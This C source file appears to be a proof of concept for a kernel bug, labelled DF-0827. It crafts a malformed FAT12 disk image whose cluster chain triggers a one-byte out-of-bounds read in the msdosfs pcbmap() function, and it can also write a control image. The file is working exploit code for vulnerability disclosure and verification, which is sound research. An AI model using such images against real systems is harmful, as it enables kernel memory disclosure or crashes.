DF-0827 / craftfat.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 | /* * DF-0827 PoC: craft a FAT12 image that triggers a 1-byte OOB read * in pcbmap() (sys/vfs/msdosfs/msdosfs_fat.c) via a cluster chain * whose tail reaches cluster (maxcluster+1) == 682. * * Bug geometry: * pm_FATsecs = 2 (=> 1024-byte FAT) * pm_fatblocksize = 1536 (3*512 for FAT12, see msdosfs_vfsops.c:493) * pm_fatblocksec = 3 * pm_maxcluster = 681 (clusters = ((2*512)/3)*2 = 682, maxcluster=681) * FATOFS(682) = 682 * 3 / 2 = 1023 * bsize (in fatblock) = min(3, 2-0)*512 = 1024 * bo = 1023 % 1536 = 1023 * check (msdosfs_fat.c:203): 1023 >= 1024 -> FALSE (passes) * getushort(bp->b_data + 1023) reads bytes [1023,1024] -> byte 1024 OOB * * Reachability: file with de_StartCluster=2 and size >= 682 clusters * forces pcbmap(findcn=681). Loop walks cn=2..682; at i=680, cn=682 * passes the reserved-cluster check (682 < 0xff6) and dereferences * FAT[682] OOB. * * Build: cc -o craftfat craftfat.c * Run: ./craftfat -> writes fat12_oob.img */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define BYTES_PER_SEC 512 #define SEC_PER_CLUST 1 #define RSVD_SECS 1 #define NUM_FATS 1 #define ROOT_ENTRIES 16 /* 16 * 32 = 512 = 1 sector */ #define FAT_SECS 2 /* <-- BUG TRIGGER: tiny FAT */ #define DATA_CLUSTERS 681 /* clusters 2..682 (682 is OOB) */ #define FILE_CLUSTERS 682 /* file claims 682 clusters */ /* layout: 1 boot + 2 FAT + 1 rootdir + 681 data sectors */ #define TOTAL_SECTORS (RSVD_SECS + FAT_SECS + 1 + DATA_CLUSTERS) #define IMG_SIZE (TOTAL_SECTORS * BYTES_PER_SEC) #define FILE_SIZE_BYTES (FILE_CLUSTERS * BYTES_PER_SEC) static uint8_t img[IMG_SIZE]; /* write a 12-bit FAT entry; fat is the start of the FAT table */ static void fat12_set(uint8_t *fat, int cluster, uint16_t val) { int byteoffset = cluster * 3 / 2; if (cluster & 1) { fat[byteoffset] = (fat[byteoffset] & 0x0F) | ((val & 0x0F) << 4); fat[byteoffset + 1] = (val >> 4) & 0xFF; } else { fat[byteoffset] = val & 0xFF; fat[byteoffset + 1] = (fat[byteoffset + 1] & 0xF0) | ((val >> 8) & 0x0F); } } int main(int argc, char **argv) { /* * Mode argument: * "bug" : FAT[681] = 682 (chain walks OOB to read FAT[682]) [default] * "eof" : FAT[681] = 0xff8 (chain ends cleanly at cluster 681 -- control) * The "eof" image is the control: pcbmap returns E2BIG for findcn>=681 * and the file reads as only 680 clusters (340992 bytes). The "bug" * image causes pcbmap to dereference FAT[682] OOB; if the OOB byte * yields a non-EOF cluster number, the file reads as 682 clusters. */ const char *mode = (argc > 1) ? argv[1] : "bug"; int bug_mode = (strcmp(mode, "eof") != 0); const char *fname = bug_mode ? "fat12_oob.img" : "fat12_eof.img"; memset(img, 0, sizeof(img)); /* ---- Boot sector / BPB ---- */ img[0] = 0xEB; img[1] = 0x3C; img[2] = 0x90; /* jmp + nop */ memcpy(img + 3, "MSDOS5.0", 8); /* OEM name */ img[11] = BYTES_PER_SEC & 0xFF; img[12] = BYTES_PER_SEC >> 8; img[13] = SEC_PER_CLUST; img[14] = RSVD_SECS & 0xFF; img[15] = RSVD_SECS >> 8; img[16] = NUM_FATS; img[17] = ROOT_ENTRIES & 0xFF; img[18] = ROOT_ENTRIES >> 8; img[19] = TOTAL_SECTORS & 0xFF; img[20] = TOTAL_SECTORS >> 8; img[21] = 0xF8; /* media (HD) */ img[22] = FAT_SECS & 0xFF; img[23] = FAT_SECS >> 8; img[24] = 1; img[25] = 0; /* SecPerTrack */ img[26] = 1; img[27] = 0; /* NumHeads */ /* 28-31 HiddenSecs = 0 ; 32-35 TotSec32 = 0 (use TotSec16) */ img[36] = 0x80; /* DrvNum */ img[38] = 0x29; /* Extended Boot Sig */ /* 39-42 VolID = 0 */ memcpy(img + 43, "NO NAME ", 11); /* VolLab */ memcpy(img + 54, "FAT12 ", 8); /* FilSysType */ img[510] = 0x55; img[511] = 0xAA; /* boot signature */ /* ---- FAT ---- */ uint8_t *fat = img + RSVD_SECS * BYTES_PER_SEC; fat12_set(fat, 0, 0xFF8); /* media descriptor */ fat12_set(fat, 1, 0xFFF); /* end-of-chain marker */ if (bug_mode) { /* chain: 2 -> 3 -> 4 -> ... -> 681 -> 682 (682 is OOB) */ for (int c = 2; c <= 681; c++) { fat12_set(fat, c, c + 1); } /* FAT[682] lives at bytes [1023,1024]. We DO set the in-bounds * low byte (byte 1023) to 0xAA so the OOB read's effect is * observable: cn = 0xAA | ((OOB_byte & 0x0F) << 8). * If OOB byte's low nibble == 2 -> cn=682 -> last-sector zeros. * If OOB byte's low nibble == 0 -> cn=0xAA=170 -> cluster 170 data. * Either way the read returns data the admin never put there. */ fat[1023] = 0xAA; } else { /* control: chain ends cleanly at 681 (EOF marker) */ for (int c = 2; c < 681; c++) { fat12_set(fat, c, c + 1); } fat12_set(fat, 681, 0xFF8); /* EOF */ } /* ---- Root directory (1 sector at sector 3) ---- */ uint8_t *rootdir = img + (RSVD_SECS + FAT_SECS) * BYTES_PER_SEC; memcpy(rootdir, "TRIGGER TXT", 11); /* 8.3 name + ext */ rootdir[11] = 0x20; /* ATTR_ARCHIVE */ /* 12-21 time/date fields left zero */ rootdir[26] = 2; rootdir[27] = 0; /* start cluster = 2 (LE) */ rootdir[28] = FILE_SIZE_BYTES & 0xFF; rootdir[29] = (FILE_SIZE_BYTES >> 8) & 0xFF; rootdir[30] = (FILE_SIZE_BYTES >> 16) & 0xFF; rootdir[31] = (FILE_SIZE_BYTES >> 24) & 0xFF; /* ---- Data clusters: fill 2..681 with a recognizable pattern ---- */ for (int c = 2; c <= 681; c++) { uint8_t *cl = img + (RSVD_SECS + FAT_SECS + 1 + (c - 2)) * BYTES_PER_SEC; /* First byte = cluster low byte; rest = ('A' + (c%26)) */ cl[0] = (uint8_t)(c & 0xFF); cl[1] = (uint8_t)((c >> 8) & 0xFF); memset(cl + 2, 'A' + (c % 26), BYTES_PER_SEC - 2); } /* Cluster 682 sector is the last sector of the image (all zero here). */ FILE *f = fopen(fname, "wb"); if (!f) { perror("open"); return 1; } fwrite(img, 1, sizeof(img), f); fclose(f); printf("Wrote %s (%d bytes, %d sectors) [mode=%s]\n", fname, (int)sizeof(img), TOTAL_SECTORS, mode); printf("FAT12: FATsecs=%d maxcluster=681 %s\n", FAT_SECS, bug_mode ? "chain 2..682 (OOB)" : "chain 2..681 (EOF)"); printf("TRIGGER.TXT: start=2 size=%d bytes (%d clusters)\n", FILE_SIZE_BYTES, FILE_CLUSTERS); if (bug_mode) { printf("Bug: pcbmap(findcn=681) -> cn=682 -> FATOFS(682)=1023\n"); printf(" bo=1023, bsize=1024, check(1023>=1024)=FALSE -> OOB read of byte 1024\n"); printf(" byte[1023]=0xAA set -> cn = 0xAA | ((OOB & 0x0F)<<8)\n"); } return 0; } |